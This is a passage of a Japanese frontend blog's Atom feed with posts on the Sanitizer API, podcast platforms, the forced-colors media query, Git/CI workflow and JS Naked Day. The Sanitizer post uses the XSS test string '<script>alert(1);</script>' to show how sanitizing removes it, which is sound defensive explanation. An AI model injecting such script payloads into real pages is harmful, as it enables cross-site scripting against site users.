<li>デフォルトで安全なバージョンのメソッドが追加される</li>
</ul>

<p>それぞれを簡単に解説します。</p>

<h3>安全ではないバージョンのメソッドの変更</h3>

<p>具体的には、<code>setHTMLUnsafe</code>と<code>parseHTMLUnsafe</code>の第二引数に以下の設定をオブジェクトで指定できるようになります。</p>

<ul>
<li><code>elements</code>: サニタイジング時に削除しない要素を指定する</li>
<li><code>removeElements</code>: サニタイジング時に削除する要素を指定する</li>
<li><code>replaceWithChildrenElements</code>: サニタイジング時に削除するが、テキストフラグメントを含む子要素は残す要素を指定する</li>
<li><code>attributes</code>: サニタイジング時に削除しない属性を指定する</li>
<li><code>removeAttributes</code>: サニタイジング時に削除する属性を指定する</li>
<li><code>comments</code>: HTMLコメントを残すかどうかを指定する</li>
<li><code>dataAttributes</code>: <code>data-</code>から始まるカスタムデータ属性を残すかどうかを指定する</li>
</ul>

<p>例えば、挿入するHTMLから<code>script</code>要素を削除したい場合は以下のようなコードになります。</p>

<pre class="hljs-pre"><code class="js">const sanitizingConfig = new Sanitizer({
    'removeElements': [{name: 'script'}],
});
const html = '&lt;script&gt;alert(1);&lt;/script&gt;';
const element = document.createElement('div');

element.setHTMLUnsafe(html, {sanitizer: sanitizingConfig});

console.log(element.outerHTML); // &lt;div&gt;&lt;/div&gt;</code></pre>

<p>以下のように特定の要素の、特定の属性だけを対象とするような設定も想定されています。</p>

<pre class="hljs-pre"><code class="js">const sanitizingConfig = new Sanitizer({
  elements: [
    {name: 'img', attributes: ['src']}, // img要素のsrc属性は削除しない
    {name: 'input', removeAttributes: ['src']} // input要素のsrc属性は削除する
  ],
});</code></pre>

<p>矛盾する設定を指定すると例外がスローされます。</p>

<pre class="hljs-pre"><code class="js">const sanitizingConfig = new Sanitizer({
    elements: ['div'],
    removeElements: ['div'],
});
element.setHTML('&lt;script>&lt;/script&gt;', {sanitizer: sanitizingConfig});</code></pre>

<h3>安全なバージョンのメソッド</h3>

<p>安全なバージョンのメソッドでは、<code>script</code>要素や<code>onclick</code>属性など、XSSのリスクがあるコンテンツをデフォルトで削除します。</p>

<pre class="hljs-pre"><code class="js">const html = '&lt;script>alert(1);&lt;/script&gt;';
const element = document.createElement('div');

element.setHTML(html); // &lt;div&gt;&lt;/div&gt;</code></pre>

<p>安全なバージョンのメソッドも、安全でないバージョンのメソッドと同様にサニタイジングの設定を指定できますが、指定された設定のうち安全でない設定は無視されるため、<code>&lt;script&gt;</code>要素を許可するような設定をしても無視されます。</p>

<pre class="hljs-pre"><code class="js">const sanitizingConfig = new Sanitizer({
    elements: ['script'], // script要素を許可する設定
});
const html = '&lt;script>alert(1);&lt;/script&gt;';
const element = document.createElement('div');

element.setHTML(html, sanitizingConfig); // &lt;div&gt;&lt;/div&gt;</code></pre>

<h2>おわりに</h2>

<p>以上、Sanitizer APIの現状を簡単にまとめてみました。繰り返しになりますが、仕様はまだ検討段階であり今後変更される可能性もあります。GitHubのIssueを見ている限りだと安全なバージョンのメソッドで許可する要素や属性の議論などが続いており、WHATWGの仕様として導入されるのはもう少し先になりそうな印象です。</p>

<p>また進展があれば記事にしたいと思います。</p>
]]>
    </content>
</entry>

<entry>
    <title>ミツエーテックラジオがYouTube Musicでも聴けるようになりました！</title>
    <link rel="alternate" type="text/html" href="https://www.mitsue.co.jp/knowledge/blog/frontend/202406/11_0810.html" />
    <id>tag:www.mitsue.co.jp,2024:/knowledge/blog/frontend//9.2380</id>

    <published>2024-06-11T08:10:15+09:00</published>
    <updated>2024-06-11T10:08:22+09:00</updated>

    <summary>Googleは2023年9月にGoogle Podcastsサービスを終了し、Y...</summary>
    
    
    <content type="html" xml:lang="ja" xml:base="https://www.mitsue.co.jp/knowledge/blog/frontend/">
        <![CDATA[<p>Googleは2023年9月に<a href="https://blog.youtube/news-and-events/podcast-destination-on-youtube-music/">Google Podcastsサービスを終了し、YouTube MusicでPodcastを配信できるようにすること</a>を発表しました。<a href="https://support.google.com/podcast-publishers/thread/264592324/key-dates-for-google-podcasts-and-google-podcasts-manager-going-away">Google Podcastsは2024年6月23日までは利用できる</a>ようです。</p>

<p>当社が公開している<a href="https://www.mitsue.co.jp/knowledge/tech_radio/">ミツエーテックラジオ</a>はYouTube Musicでの配信も新たにスタートし、現在は以下のプラットフォームで聴くことができます。</p>

<ul>
<li><a href="https://podcasts.apple.com/jp/podcast/%E3%83%9F%E3%83%84%E3%82%A8%E3%83%BC%E3%83%86%E3%83%83%E3%82%AF%E3%83%A9%E3%82%B8%E3%82%AA/id1531469979">Apple Podcast</a></li>
<li><a href="https://open.spotify.com/show/43J3vrInhooUDY6Vs9AmTS">Spotify</a></li>
<li><a href="https://www.youtube.com/channel/UC2kuUJFwagQyQhF0yUESz5g">YouTube</a></li>
<li><a href="https://music.youtube.com/channel/UC2kuUJFwagQyQhF0yUESz5g">YouTube Music</a></li>
<li><a href="https://music.amazon.com/podcasts/3bbef81f-1a37-4160-ae9c-63926a3400bc/%E3%83%9F%E3%83%84%E3%82%A8%E3%83%BC%E3%83%86%E3%83%83%E3%82%AF%E3%83%A9%E3%82%B8%E3%82%AA">Amazon Music</a></li>
</ul>

<p>これまでGoogle Podcastsを利用していた方はお好みのものをご利用いただければと思います。また、これまで聴いたことがない！という方も、この機会にぜひフォローいただけると幸いです。</p>
]]>
        
    </content>
</entry>

<entry>
    <title>強制カラーモードに対するメディアクエリforced-colorsの使い方</title>
    <link rel="alternate" type="text/html" href="https://www.mitsue.co.jp/knowledge/blog/frontend/202405/17_1401.html" />
    <id>tag:www.mitsue.co.jp,2024:/knowledge/blog/frontend//9.2363</id>

    <published>2024-05-17T14:01:50+09:00</published>
    <updated>2024-05-17T17:30:23+09:00</updated>

    <summary>この記事では、先日当社のアクセシビリティBlog「ハイコントラスト表示にまつわる...</summary>
    
    
    <content type="html" xml:lang="ja" xml:base="https://www.mitsue.co.jp/knowledge/blog/frontend/">
        <![CDATA[<p>この記事では、先日当社のアクセシビリティBlog「<a href="/knowledge/blog/a11y/202404/30_1457.html">ハイコントラスト表示にまつわるMicrosoft固有のCSS機能が廃止へ</a>」で触れられていた強制カラーモードとはどのようなものなのかを紹介します。</p>
]]>
        <![CDATA[<h2>forced-colorsとは</h2>

<p>CSSのメディアクエリの1つです。
ユーザーエージェントで強制カラーモードが有効になっているかを検出でき、以下のように<code>none</code>と<code>active</code>の2つの値を指定できます。</p>

<pre class="hljs-pre"><code class="css">@media(forced-colors: active) {
  /* 強制カラーモードが有効時のスタイル */
}

@media(forced-colors: none) {
  /* 強制カラーモードが無効時のスタイル */
}</code></pre>

<p><code>forced-colors</code>と同様にユーザーの閲覧環境によってスタイルを変更するためのメディアクエリとして<code>prefers-color-scheme</code>があります。
<code>prefers-color-scheme</code>はデフォルト（ライトモード）のCSSを書き、<code>prefers-color-scheme: dark</code>にダークモード時の色設定などを書いていくのが一般的かと思います。</p>

<p>私は、<code>forced-colors</code>は<code>prefers-color-scheme</code>のように「強制カラーモードが有効になっている場合に色を変えられるもの」だと考えていましたが、実際はそうではなく、少し混乱しました。</p>

<p><code>prefers-color-scheme</code>との大きな違いは、<code>forced-colors</code>に書いたスタイルがすべて反映されるわけではないということです。</p>

<p>そもそも強制カラーモードとは、OSのコントラストの設定などによってユーザーエージェントが強制的に色を変更するモードです。
そのため、サイトの作成者がその色をさらに上書きすることは想定されていません。</p>

<p>「強制カラーモードが有効な時の色は誰がどうやって決めるの？」とお思いかもしれませんが、簡潔に言うとユーザーエージェントに定義された色になります。</p>

<div class="c-media">
<div class="c-media__image">
<img src="/knowledge/blog/frontend/img/20240510_03.webp" alt="" width="750" height="840"></div>
<p class="c-media__caption -small">強制カラーモードで有効になるカラーパレット一覧（Windows 10）</p>
</div>

<p>Windowsの設定には<a href="https://support.microsoft.com/ja-jp/windows/windows-%E3%81%A7%E8%89%B2%E3%81%AE%E3%82%B3%E3%83%B3%E3%83%88%E3%83%A9%E3%82%B9%E3%83%88%E3%82%92%E5%A4%89%E6%9B%B4%E3%81%99%E3%82%8B-fedc744c-90ac-69df-aed5-c8a90125e696#WindowsVersion=Windows_10">色のコントラストを変更する項目</a>があり、この設定を適用していると<code>forced-colors</code>が<code>active</code>になります。</p>

<h2>forced-colorの影響</h2>

<p>デバイスが色を決定するプロパティは以下です。</p>

<blockquote cite="https://developer.mozilla.org/ja/docs/Web/CSS/@media/forced-colors">
<ul>
<li><code>color</code></li>
<li><code>background-color</code></li>
<li><code>text-decoration-color</code></li>
<li><code>text-emphasis-color</code></li>
<li><code>border-color</code></li>
<li><code>outline-color</code></li>
<li><code>column-rule-color</code></li>
<li><code>-webkit-tap-highlight-color</code></li>
<li><code>SVG fill</code> 属性</li>
<li><code>SVG stroke</code> 属性</li>
</ul>
</blockquote>

<p>また、色以外にも影響をうけるプロパティがあります。</p>

<blockquote cite="https://developer.mozilla.org/ja/docs/Web/CSS/@media/forced-colors">
<ul>
<li><code>box-shadow</code> は <code>none</code> に強制されます</li>
<li><code>text-shadow</code> は <code>none</code> に強制されます</li>
<li><code>background-image</code> はURLベースでない値では <code>none</code> に強制されます</li>
<li><code>color-scheme</code> は <code>light dark</code> に強制されます</li>
<li><code>scrollbar-color</code> は <code>auto</code> に強制されます</li>
</ul>
</blockquote>

<p>引用元：<a href="https://developer.mozilla.org/ja/docs/Web/CSS/@media/forced-colors">forced-colors - CSS: カスケーディングスタイルシート | MDN</a></p>

<h2>forced-colorの使い方</h2>

<p>色はユーザーエージェントが決めるというなら<code>forced-colors: active</code>の中に私たちは何を書くのでしょう？</p>

<p>例えば、<code>border: none</code>のスタイルをあてたボタンがあった場合、それぞれライト・ダークモードでは見えていたボタンと背景の境界が、強制カラーモードだと見えなくなってしまいます。</p>

<div class="c-media">
<div class="c-media__image">
<img src="/knowledge/blog/frontend/img/20240510_01.webp" alt="" width="750" height="206"></div>
<p class="c-media__caption -small">ライトモード・ダークモード・強制カラーモードでのボタンの表示を比較した画面</p>
</div>

<p>この場合は以下のように、<code>@media(forced-colors: active)</code>でボタンにボーダーをつけるCSSを書くことで、ボタンと背景の境界がわかるようになります。</p>

<pre class="hljs-pre"><code class="css">@media(forced-colors: active) {
  .btn {
    border-width: 3px;
    border-style: solid;
  }
}</code></pre>

<div class="c-media">
<div class="c-media__image">
<img src="/knowledge/blog/frontend/img/20240510_02.webp" alt="" width="750" height="206"></div>
<p class="c-media__caption -small">強制カラーモードでのボタンの表示の画面</p>
</div>

<p>また、強制カラーモードを一部オフにしたい場合にも使えます。</p>

<p>基本的に、強制カラーモードが設定されているのはユーザーの希望です。ですから、その設定をCSSでオフにしてしまうのは好ましくありません。
しかし、例えばECサイトなどで商品の色を選ぶボタンの色が消えてしまうのは困ります。</p>

<p>その場合は、以下のように<code>forced-color-adjust: none</code>で一部の強制カラーモードによる色の変更を無効にすることもできます。</p>

<pre class="hljs-pre"><code class="css">@media(forced-colors: active) {
  .colorList button {
    forced-color-adjust: none;
  }
}</code></pre>

<div class="c-media">
<div class="c-media__image">
<img src="/knowledge/blog/frontend/img/20240510_04.webp" alt="" width="750" height="446"></div>
<p class="c-media__caption -small">強制カラーモードで<code>forced-color-adjust: none</code>を使用する前後の様子</p>
</div>

<p>繰り返しますが、この使い方はユーザーの希望に反するものですので、使用箇所は吟味し最小限にとどめたほうがいいと考えます。</p>

<p>また、色のみに依存したコンテンツは避け、テキスト情報と組み合わせて情報を提供することが望ましいです<sup>※1</sup>。</p>

<p>2024年5月現在Safariでは<code>forced-color-adjust</code>が使えないことにも注意が必要です<sup>※2</sup>。</p>

<ul>
<li>※1 <a href="https://www.w3.org/WAI/WCAG22/Understanding/use-of-color.html">Understanding Success Criterion 1.4.1: Use of Color | WAI | W3C</a></li>
<li>※2 <a href="https://caniuse.com/?search=forced-color-adjust">"forced-color-adjust" | Can I use... Support tables for HTML5, CSS3, etc</a></li>
</ul>

<p>以上、forced-colorsの使い方について説明しました。</p>
]]>
    </content>
</entry>

<entry>
    <title>当社のフロントエンド開発におけるGitとCIの利用例</title>
    <link rel="alternate" type="text/html" href="https://www.mitsue.co.jp/knowledge/blog/frontend/202405/02_1218.html" />
    <id>tag:www.mitsue.co.jp,2024:/knowledge/blog/frontend//9.2357</id>

    <published>2024-05-02T12:18:18+09:00</published>
    <updated>2024-05-02T15:42:53+09:00</updated>

    <summary>当社ではWebサイトのフロントエンド開発にGitとCIを利用することが増えていま...</summary>
    
    
    <content type="html" xml:lang="ja" xml:base="https://www.mitsue.co.jp/knowledge/blog/frontend/">
        <![CDATA[<p>当社ではWebサイトのフロントエンド開発にGitとCIを利用することが増えています。これまで表立ってGitとCIの利用方法を伝えてきませんでしたが、当社の利用方法を知っていただくことでより効率的な連携が図れるステークホルダーのみなさま（特にお客様やシステムを担当されているみなさま）も多いと感じています。そこで、この記事では当社のフロントエンド開発における典型的なGitとCIの利用方法を紹介します。なお、要件に合わせて利用方法を調整しているプロジェクトも多いことはご承知おきください。</p>
]]>
        <![CDATA[<h2>典型的な利用方法</h2>

<div class="c-media -fullWidth">
<div class="c-media__image">
<img src="/knowledge/blog/frontend/img/20240502_01.png" width="961" height="540" alt=""></div>

<p><p class="c-media__caption -small">当社のフロントエンド開発における典型的なGitとCIの利用方法</p></div></p>

<p>フロントエンド開発（のうちUI開発者が主導する部分）は多くの場合、Gitリポジトリ1つ（<a href="https://about.gitlab.com/ja-jp/">GitLab</a>）と検証環境1つ（Apache）を利用しています。 GitリポジトリにはCI環境が紐づいています（GitLab CI）。Gitの操作としてはブランチ作成、コミット、プル、プッシュ、マージなどを行います。</p>

<p>また、多くのプロジェクトではHTML・CSS・JSは直接編集せず、元になるファイル（<a href="https://ejs.co/">ejs</a>、<a href="https://sass-lang.com/">Sass</a>、<a href="https://www.typescriptlang.org/">TypeScript</a>など）から生成しています。作業ブランチには元ファイルのみをコミットしHTML・CSS・JSはコミットしないことがほとんどです。生成したファイルは中身が1行になることも多く、作業ブランチにコミットするとマージで競合が発生しやすくなるためです。</p>

<p>作業を検証環境へ反映する操作はGitリポジトリで行います。具体的には作業ブランチを専用ブランチ（demoブランチ）にマージし、プッシュします。demoブランチがプッシュされると、CI環境は次のような処理を実行し、作業結果を検証環境へ自動反映します。</p>

<ol start='1'>
<li>元ファイルからHTML・CSS・JSなどを生成</li>
<li>品質の機械検証</li>
<li>生成したファイルをGitリポジトリの専用ブランチ（dist/demo）にコミット</li>
<li>生成したファイルを自動的に検証環境へ反映（rsync）</li>
</ol>

<p>検証環境にはFTPなどではアップロードできないようにしており、常にCI環境経由で更新しています。</p>

<p>また、CI環境での品質の機械検証で問題が見つかった場合は、検証環境への反映などを行いません（CIが失敗します）。この一連の処理は1～2分で終わることが多く、長くても10分程度です。</p>

<p>検証を終え、納品する場合は作業を専用のブランチ（mainブランチ）へプッシュします。mainブランチがプッシュされると、CI環境は次のような処理を自動で実行します。</p>

<ol start='1'>
<li>元ファイルからHTML・CSS・JSなどを生成</li>
<li>品質の機械検証</li>
<li>生成したファイルをGitリポジトリの専用ブランチ（dist/main）にコミット</li>
</ol>

<p>多くのプロジェクトで生成したファイルを納品していますが、dist/mainブランチをプルすると生成したファイルの差分を確認できます。 </p>

<p>なお、生成したファイルをGitリポジトリの専用ブランチにコミットする処理は2024年度から試行しており、プロジェクトによっては実施していません。</p>

<p>この一連の仕組みにはメリットがいくつかあります。</p>

<ul>
<li>元ファイルからHTML・CSS・JSなどを生成することで、定型的な処理の機械化</li>
<li>Gitに履歴が残ることで、過去状態の確認や差し戻しが容易</li>
<li>検証環境へ自動的にアップロードすることで、アップロード漏れや削除漏れ、先祖返りの抑制</li>
<li>品質の機械検証を実施することで、品質低下の早期発見</li>
<li>生成したファイルをGitリポジトリにコミットすることで、生成ファイルの差分確認が容易</li>
</ul>

<p>一方で、この仕組みにもデメリットはいくつかあります。</p>

<p>デメリットの1つ目はGitを覚えないと使えないことです。Gitの習熟には一定の時間がかかり、それまでは作業のペースが落ちがちです。当社では入社後の研修に取り入れることで、習得のサポートを行っています。</p>

<p>別のデメリットは、CI環境でHTML・CSS・JSなどを機械的に生成しても、それを機械的に受け入れる先がほとんどないことです。社内では検証環境やGitリポジトリに自動反映してますが、社外との受け渡しは手作業が多いです。その理由の1つは、当社におけるGitとCIの利用状況を伝えられていないためと考え、この記事を執筆しました。</p>

<h2>おわりに</h2>

<p>当社のフロントエンド開発ではGitとCIの利用が進んでおり、品質の機械検証や検証環境やGitリポジトリへの反映を行っています。ステークホルダーのみなさまと機械的なデータの受け渡しも技術的には可能です。</p>

<p>この記事で紹介した利用方法は2020年ごろから取り組み始め、少しずつ変更してきました。今後も変わっていくと考えていますが、ステークホルダーのみなさまとより効率的に連携できるようになれば幸いです。</p>

<p>なお、この記事の画像では<a href="https://aws.amazon.com/jp/architecture/icons/">AWS アーキテクチャアイコン</a>を利用しています。</p>
]]>
    </content>
</entry>

<entry>
    <title>4月24日はJS Naked Day</title>
    <link rel="alternate" type="text/html" href="https://www.mitsue.co.jp/knowledge/blog/frontend/202404/22_1406.html" />
    <id>tag:www.mitsue.co.jp,2024:/knowledge/blog/frontend//9.2345</id>

    <published>2024-04-22T14:06:50+09:00</published>
    <updated>2024-04-22T14:43:01+09:00</updated>

    <summary>来る4月24日は、JavaScriptを使用しない年に1度のお祭りの日、「JS ...</summary>
    
    
    <content type="html" xml:lang="ja" xml:base="https://www.mitsue.co.jp/knowledge/blog/frontend/">
        <![CDATA[<p>来る4月24日は、JavaScriptを使用しない年に1度のお祭りの日、「JS Naked Day」だそうです。<a href="https://js-naked-day.org">JS Naked Day</a>の冒頭にある概要を、以下に訳します。</p>

<blockquote>
<p lang="en">JS Naked Day promotes the <a href="https://www.w3.org/2001/tag/doc/leastPower.html">rule of least power</a>. That is: start with HTML for semantic markup and CSS for styling. Use the web platform (especially forms!) for interactivity. And then, progressively upgrade with JavaScript for advanced interactivity. In plain terms: your website should work without JavaScript enabled.</p>
<p>JS Naked Dayは、最小パワーのルール（<a href="https://www.w3.org/2001/tag/doc/leastPower.html">The Rule of Least Power</a>）を推進します。それがどういうことかというと、セマンティックなマークアップにはHTMLを、スタイリングにはCSSを使います。インタラクティビティには、Webプラットフォーム（特にフォーム！）を使いましょう。そして、より高度なインタラクティビティを実現すべく、JavaScriptで段階的にアップグレードします。シンプルに言って、あなたのWebサイトはJavaScriptが無効であっても動作するはずです。</p>
</blockquote>

<p>上記は、見聞きする機会こそ減ったものの現在もなお重要な考え方、<a href="https://developer.mozilla.org/ja/docs/Glossary/Progressive_Enhancement">プログレッシブエンハンスメント</a>そのものに聞こえます。ちなみになぜ4月24日がJS Naked Dayに選ばれたかというと、HTTPレスポンスコードの<a href="https://developer.mozilla.org/ja/docs/Web/HTTP/Status/424">424 Failed Dependency</a>に由来するのだそう。</p>

<p>また、ひょっとすると名前から察しのついた方がいらっしゃるかもしれませんが、JS Naked Dayは<a href="https://css-naked-day.github.io">CSS Naked Day</a>（こちらは毎年4月9日）にインスパイアされたもののようです。CSS Naked Dayについては遥か昔、<a href="https://standards.mitsue.co.jp/">Web標準Blog</a>の時代に何度か記事を書きました：</p>

<ul>
<li><a href="https://standards.mitsue.co.jp/archives/001212.html">再び裸になるとき</a>（2007年4月4日）</li>
<li><a href="https://standards.mitsue.co.jp/archives/001306.html">&lt;body&gt;を露わにすること、それを愛するということ</a>（2008年4月9日）</li>
<li><a href="https://standards.mitsue.co.jp/archives/001402.html">CSS Naked Day</a>（2009年4月9日）</li>
</ul>

<p>JavaScriptは、現代の商用サイトにおいて使わないサイトは無いと言ってよいくらい、必要不可欠な技術です。複雑で高度な機能を提供するWebアプリケーションでは特に、JavaScriptが有効であることが大前提になっているものが珍しくありません。従い、JS Naked Dayが果たしてどれだけ流行るか、業界内で受け入れられるかといえば、難しいでしょう。</p>

<p>しかし、本来JavaScriptに頼らなくても良い部分ですらJavaScriptで実装してしまう傾向、行き過ぎたJavaScriptへの依存を、表示パフォーマンスに関する記事で目にすることがあります。また、さまざまな理由からJavaScriptを無効化しているユーザー、ないしJavaScriptを利用できないユーザーは、少数派かもしれませんが実在します。</p>

<p>JS Naked Dayのような企画を機に、改めてプログレッシブエンハンスメントの必要性や重要性、HTML/CSS/JavaScriptの適切な使い分けを再確認するのは、意義あることだと私は思います。</p>]]>
        
    </content>
</entry>

</feed>
